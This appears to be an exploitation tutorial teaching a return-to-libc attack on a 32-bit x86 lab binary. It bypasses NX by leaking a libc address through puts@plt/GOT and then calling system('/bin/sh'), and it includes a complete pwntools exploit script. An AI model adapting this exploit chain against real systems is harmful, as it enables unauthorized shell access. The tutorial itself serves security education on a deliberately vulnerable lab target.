# Return-to-libc Attack on x86

> Bypass NX protection by returning to libc functions instead of executing shellcode on the stack. Learn to leak addresses and chain function calls.

- Published: 2025-09-04
- Difficulty: intermediate
- Series: Linux Exploitation Fundamentals
- Tags: Linux, Exploit Development, ret2libc, x86, NX Bypass
- Source: https://stevenfoerster.com/tutorials/return-to-libc-attack-x86/

## Prerequisites

- Understanding of x86 calling conventions
- Familiarity with PLT/GOT
- Basic pwntools knowledge
- Previous stack overflow experience

When NX (No-Execute) protection is enabled, you cannot execute shellcode on the stack. Return-to-libc attacks bypass this by redirecting execution to existing functions in libc, such as `system()`.

> [!note] Lab Binary
> This tutorial uses the `vulnerable` binary from the [Linux Exploitation Lab](https://gitlab.com/sfoerster/linux-tutorial-tools/) (`04-ret2libc-x86/`). See the [setup guide](https://stevenfoerster.com/tutorials/linux-exploitation-lab-setup/) for build instructions.

> [!note]
> Some examples in this tutorial use [pwntools](https://github.com/Gallopsled/pwntools). Install with `pip install pwntools`.

> [!warning] Non-PIE binary required
> The leak technique below works because PLT and GOT addresses are fixed at build time. If the binary is built with PIE (`-fPIE -pie`), the PLT moves on every run and you would need a separate info leak (e.g., a stack/text leak) before you can call `puts@plt` reliably. Confirm with `checksec --file=./vulnerable` and look for `PIE: No PIE` before continuing.
>
> The libc offsets shown later (`puts_offset`, `system_offset`, `binsh_offset`) are specific to one glibc build. On any other system you must rebuild them with `readelf` against the local `libc.so.6`, copying the literals will produce wrong addresses and a crash. See [Finding Offsets](#finding-offsets) below.

## Understanding ret2libc

### The Concept

Instead of executing our own code, we:

1. Overwrite EIP with the address of a libc function (e.g., `system()`)
2. Set up the stack to pass arguments to that function
3. Provide a return address for after the function completes

### Payload Structure

```text
[ Junk Buffer ][ system() ][ exit() ][ "/bin/sh" ]
    N bytes       EIP        ret        arg1
```

We arrange the stack to look exactly like a normal `call system` would. When `ret` pops `system()`'s address into EIP, the stack must match what `system()` expects: its return address and then its first argument.

Here is the stack layout after the overflow, at the moment `ret` executes:

```text
High addresses
┌──────────────────────────────┐
│ addr of "/bin/sh" string     │ ← arg1 to system()
├──────────────────────────────┤
│ addr of exit() (fake ret)    │ ← system()'s return addr
├──────────────────────────────┤
│ addr of system()             │ ← popped into EIP by ret
├──────────────────────────────┤
│ AAAA (overwritten saved EBP) │
├──────────────────────────────┤
│                              │
│ AAAAAAA... (140 bytes junk)  │
│                              │
├──────────────────────────────┤
ESP → (top of stack)
Low addresses
```

When the vulnerable function's `ret` fires, it pops the address of `system()` into EIP. Now `system()` is running and sees the stack above it: `exit()` as its return address and the pointer to `"/bin/sh"` as its first argument. After the shell exits, execution flows into `exit()` for a clean termination.

## Initial Analysis

### Identifying the Vulnerability

```bash
python3 -c 'print("A"*200)' | ./vulnerable
# Segmentation fault (core dumped)

python3 -c 'print("A"*100)' | ./vulnerable
# No crash
```

The crash occurs around 200 characters.

### Finding the EIP Offset

```text
gdb-peda$ pattern create 200 pattern.txt
gdb-peda$ run < pattern.txt

EIP: 0x41416d41 ('AmAA')
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140
```

### Checking Protections

```bash
checksec --file=./vulnerable
```

```text
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

NX is enabled - we cannot execute stack shellcode. ASLR status:

```bash
cat /proc/sys/kernel/randomize_va_space
2   # ASLR is active
```

## Leaking libc Addresses

Since ASLR randomizes libc's base address, we need to leak an address at runtime.

### Understanding PLT and GOT

- **PLT (Procedure Linkage Table)**: Contains stubs that jump to GOT entries
- **GOT (Global Offset Table)**: Contains actual function addresses after resolution

The PLT/GOT addresses are fixed (no PIE), but GOT entries point to randomized libc addresses.

### The Leak Strategy

1. Call `puts@plt` with `puts@got` as argument
2. This prints the actual libc address of `puts`
3. Return to `main` to exploit again with known addresses

### Identifying Addresses

```text
gdb-peda$ info functions
0x08048340  puts@plt
0x0804847d  main

gdb-peda$ x/3i 0x8048340
0x8048340 <puts@plt>:    jmp    DWORD PTR ds:0x80497b0

gdb-peda$ x/wx 0x80497b0
0x80497b0 <puts@got.plt>:  0xb7e68ca0
```

- `puts@plt`: `0x08048340`
- `puts@got`: `0x080497b0`
- `main`: `0x0804847d`

## Building the Exploit

> [!note]
> Before constructing the payload, we need the addresses of `system()`, `/bin/sh`, and `exit()` in libc. The [Finding Offsets](#finding-offsets) section below shows how to locate them using `readelf` and `strings`.

### Stage 1: Leak puts Address

```python
from pwn import *

r = process('./vulnerable')

puts_plt = 0x8048340
puts_got = 0x80497b0
main = 0x0804847d

payload = b""
payload += b"A"*140           # Junk to reach EIP
payload += p32(puts_plt)      # Call puts()
payload += p32(main)          # Return to main after puts
payload += p32(puts_got)      # Argument: address to print

r.recvuntil(b'desert:')       # Wait for the vulnerable binary's input prompt
r.sendline(payload)
r.recvline()

leak = u32(r.recvline()[:4])
log.info('puts@libc is at: {}'.format(hex(leak)))
```

> [!note]
> The `desert:` prompt is the output from the vulnerable binary -- it's prompting for user input, which is where we send our payload.

### Stage 2: Calculate libc Base

With the leaked `puts` address, calculate libc's base:

```python
# Find puts offset in libc
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts
puts_offset = 0x67ca0  # Example offset

libc_base = leak - puts_offset
log.info('libc base: {}'.format(hex(libc_base)))
```

### Stage 3: Call system("/bin/sh")

```python
# Find system and /bin/sh offsets in libc
system_offset = 0x3ada0
binsh_offset = 0x17b8cf

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

payload2 = b""
payload2 += b"A"*140
payload2 += p32(system_addr)
payload2 += p32(0xdeadbeef)  # Return address (don't care)
payload2 += p32(binsh_addr)  # Argument to system()

r.sendline(payload2)
r.interactive()
```

## Complete Exploit

```python
#!/usr/bin/env python3
from pwn import *

# Addresses from binary (no PIE, fixed)
puts_plt = 0x8048340
puts_got = 0x80497b0
main = 0x0804847d

# Offsets from libc (find with readelf/objdump)
puts_offset = 0x67ca0
system_offset = 0x3ada0
binsh_offset = 0x17b8cf

r = process('./vulnerable')

# Stage 1: Leak puts address
payload1 = b"A"*140
payload1 += p32(puts_plt)
payload1 += p32(main)
payload1 += p32(puts_got)

r.recvuntil(b'desert:')       # Wait for the vulnerable binary's input prompt
r.sendline(payload1)
r.recvline()

leak = u32(r.recvline()[:4])
libc_base = leak - puts_offset
log.success('Leaked puts@libc: {}'.format(hex(leak)))
log.success('libc base: {}'.format(hex(libc_base)))

# Stage 2: Call system("/bin/sh")
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

payload2 = b"A"*140
payload2 += p32(system_addr)
payload2 += b"JUNK"            # Fake return address
payload2 += p32(binsh_addr)

r.recvuntil(b'desert:')       # Wait for the vulnerable binary's input prompt again
r.sendline(payload2)
r.interactive()
```

## Finding Offsets

### Locating libc

```bash
ldd ./vulnerable
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6

locate libc.so.6
```

### Finding Function Offsets

```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w system
# 1443: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w puts
# 423: 00067ca0   474 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.0
```

### Finding /bin/sh String

```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# 17b8cf /bin/sh
```

## Key Concepts

### Why This Works

1. PLT/GOT addresses are fixed (no PIE)
2. We can call `puts` to leak any address
3. libc functions have fixed offsets from the base
4. Once we know one address, we can calculate all others

### ASLR vs PIE

- **ASLR** randomizes library (libc) addresses
- **PIE** randomizes the binary's own addresses
- Without PIE, PLT/GOT addresses are predictable
- We leak libc addresses through GOT entries

## Troubleshooting

### Wrong Offsets

Offsets vary between libc versions. Always check the target system's libc:

```bash
# On target
ldd --version
md5sum /lib/i386-linux-gnu/libc.so.6
```

### Partial Overwrite

If the leak looks wrong, check for null bytes truncating the output. You may need to leak a different function.
